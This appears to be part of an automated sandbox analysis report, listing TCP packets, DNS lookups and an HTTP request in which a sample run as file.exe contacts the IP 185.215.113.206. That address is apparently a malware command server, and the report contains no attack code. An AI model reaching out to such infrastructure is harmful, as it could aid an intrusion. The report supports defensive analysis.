Oct 30, 2024 11:45:45.684151888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684160948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684169054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684173107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684185982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684194088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684202909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684214115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684218884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684228897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684245110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684247017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684258938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684262991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684281111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684298038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684303045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684317112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684328079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684334993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684351921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684360981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684376001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684376955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684396029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684403896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684415102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684422016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684437990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684484005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684515953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684531927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684546947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684562922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684581995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684593916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684607029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684612989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684623957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684637070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684642076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684649944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684659958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684669018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684676886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684686899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684695959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684706926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684712887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684720039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684737921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684741020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684752941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684757948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684775114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684778929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684796095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684801102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684811115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684819937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684834957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684851885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684880972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684906006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.727200985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.727253914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.727276087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.727412939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.727427006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.727473974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.727503061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.761488914 CET	49998	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:45.761521101 CET	443	49998	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:45.761904001 CET	49998	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:45.762070894 CET	49998	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:45.762077093 CET	443	49998	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:45.768415928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.768431902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.768448114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.768464088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.768497944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.768537998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792329073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792346001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792362928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792395115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792398930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792411089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792429924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792447090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792454958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792464972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792475939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792496920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792516947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792522907 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792535067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792551994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792558908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792570114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792582989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792587996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792598009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792602062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.792609930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792630911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.792663097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.793780088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793833971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793840885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.793852091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793870926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.793900013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.793931007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793946981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793962955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793977022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.793993950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794008970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794008970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794018984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794028044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794044971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794066906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794078112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794101954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794117928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794117928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794138908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794157028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794186115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794202089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794219017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794234037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794240952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794249058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794258118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794267893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794275045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794291973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794291973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794310093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794316053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794327021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794339895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794343948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794348001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794361115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794372082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794378996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794384003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794404984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794415951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.794435978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.794460058 CET	80	49888	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 11:45:15.831918955 CET	192.168.2.6	1.1.1.1	0x3e12	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:15.832123995 CET	192.168.2.6	1.1.1.1	0x69d2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:20.544847965 CET	192.168.2.6	1.1.1.1	0xc244	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:20.545046091 CET	192.168.2.6	1.1.1.1	0xfdc6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:21.546567917 CET	192.168.2.6	1.1.1.1	0xd540	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:21.546799898 CET	192.168.2.6	1.1.1.1	0xc85d	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:28.965959072 CET	192.168.2.6	1.1.1.1	0xcb9b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:28.966514111 CET	192.168.2.6	1.1.1.1	0x2591	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:30.581717968 CET	192.168.2.6	1.1.1.1	0x4d03	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:30.581871986 CET	192.168.2.6	1.1.1.1	0x9c38	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 30, 2024 11:45:31.806962013 CET	192.168.2.6	1.1.1.1	0xe3fa	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:31.807101965 CET	192.168.2.6	1.1.1.1	0x7103	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:32.427752972 CET	192.168.2.6	1.1.1.1	0x606f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.427905083 CET	192.168.2.6	1.1.1.1	0xf682	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:32.444173098 CET	192.168.2.6	1.1.1.1	0xd868	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.444436073 CET	192.168.2.6	1.1.1.1	0xd223	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:32.449153900 CET	192.168.2.6	1.1.1.1	0x7816	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.449403048 CET	192.168.2.6	1.1.1.1	0xd73b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:32.456478119 CET	192.168.2.6	1.1.1.1	0xd855	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.456759930 CET	192.168.2.6	1.1.1.1	0x4716	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:33.555421114 CET	192.168.2.6	1.1.1.1	0x7289	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.555421114 CET	192.168.2.6	1.1.1.1	0xf1b0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:33.555918932 CET	192.168.2.6	1.1.1.1	0x34fa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.556143999 CET	192.168.2.6	1.1.1.1	0xe1d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 11:45:33.566296101 CET	192.168.2.6	1.1.1.1	0xd7a1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.566627026 CET	192.168.2.6	1.1.1.1	0xe643	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 11:46:53.454471111 CET	192.168.2.6	1.1.1.1	0x658b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:53.454581976 CET	192.168.2.6	1.1.1.1	0xed09	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 11:45:15.839350939 CET	1.1.1.1	192.168.2.6	0x3e12	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:15.839929104 CET	1.1.1.1	192.168.2.6	0x69d2	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 11:45:20.551987886 CET	1.1.1.1	192.168.2.6	0xc244	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:20.551987886 CET	1.1.1.1	192.168.2.6	0xc244	No error (0)	plus.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:20.552160978 CET	1.1.1.1	192.168.2.6	0xfdc6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:21.553869009 CET	1.1.1.1	192.168.2.6	0xd540	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:28.973371029 CET	1.1.1.1	192.168.2.6	0xcb9b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:28.976212025 CET	1.1.1.1	192.168.2.6	0x2591	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:28.976978064 CET	1.1.1.1	192.168.2.6	0x241c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:28.976978064 CET	1.1.1.1	192.168.2.6	0x241c	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:28.981424093 CET	1.1.1.1	192.168.2.6	0xa778	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:30.590578079 CET	1.1.1.1	192.168.2.6	0x9c38	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:30.590647936 CET	1.1.1.1	192.168.2.6	0x4d03	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:31.814507961 CET	1.1.1.1	192.168.2.6	0xe3fa	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:31.814507961 CET	1.1.1.1	192.168.2.6	0xe3fa	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:31.814557076 CET	1.1.1.1	192.168.2.6	0x7103	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.435265064 CET	1.1.1.1	192.168.2.6	0x606f	No error (0)	sb.scorecardresearch.com		18.154.84.16	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.435265064 CET	1.1.1.1	192.168.2.6	0x606f	No error (0)	sb.scorecardresearch.com		18.154.84.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.435265064 CET	1.1.1.1	192.168.2.6	0x606f	No error (0)	sb.scorecardresearch.com		18.154.84.63	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.435265064 CET	1.1.1.1	192.168.2.6	0x606f	No error (0)	sb.scorecardresearch.com		18.154.84.17	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:32.451303005 CET	1.1.1.1	192.168.2.6	0xd868	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.451510906 CET	1.1.1.1	192.168.2.6	0xd223	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.456520081 CET	1.1.1.1	192.168.2.6	0xd73b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.458250046 CET	1.1.1.1	192.168.2.6	0x7816	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.463638067 CET	1.1.1.1	192.168.2.6	0xd855	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:32.463970900 CET	1.1.1.1	192.168.2.6	0x4716	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757122993 CET	1.1.1.1	192.168.2.6	0x7289	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757122993 CET	1.1.1.1	192.168.2.6	0x7289	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757134914 CET	1.1.1.1	192.168.2.6	0x34fa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757134914 CET	1.1.1.1	192.168.2.6	0x34fa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757143974 CET	1.1.1.1	192.168.2.6	0xd7a1	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757143974 CET	1.1.1.1	192.168.2.6	0xd7a1	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:33.757153988 CET	1.1.1.1	192.168.2.6	0xe1d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 11:45:33.757289886 CET	1.1.1.1	192.168.2.6	0xf1b0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 11:45:33.757565022 CET	1.1.1.1	192.168.2.6	0xe643	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 11:45:34.013098001 CET	1.1.1.1	192.168.2.6	0xe947	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:34.013098001 CET	1.1.1.1	192.168.2.6	0xe947	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:35.024506092 CET	1.1.1.1	192.168.2.6	0xd55e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:35.024506092 CET	1.1.1.1	192.168.2.6	0xd55e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:37.063015938 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:37.063015938 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:38.073038101 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:38.073038101 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:39.088289976 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:39.088289976 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:41.102257967 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:41.102257967 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:45:45.120980978 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 11:45:45.120980978 CET	1.1.1.1	192.168.2.6	0xa77e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:53.462179899 CET	1.1.1.1	192.168.2.6	0x658b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:53.462179899 CET	1.1.1.1	192.168.2.6	0x658b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:46:53.462866068 CET	1.1.1.1	192.168.2.6	0xed09	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	5008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 11:45:06.752455950 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 11:45:07.676213980 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
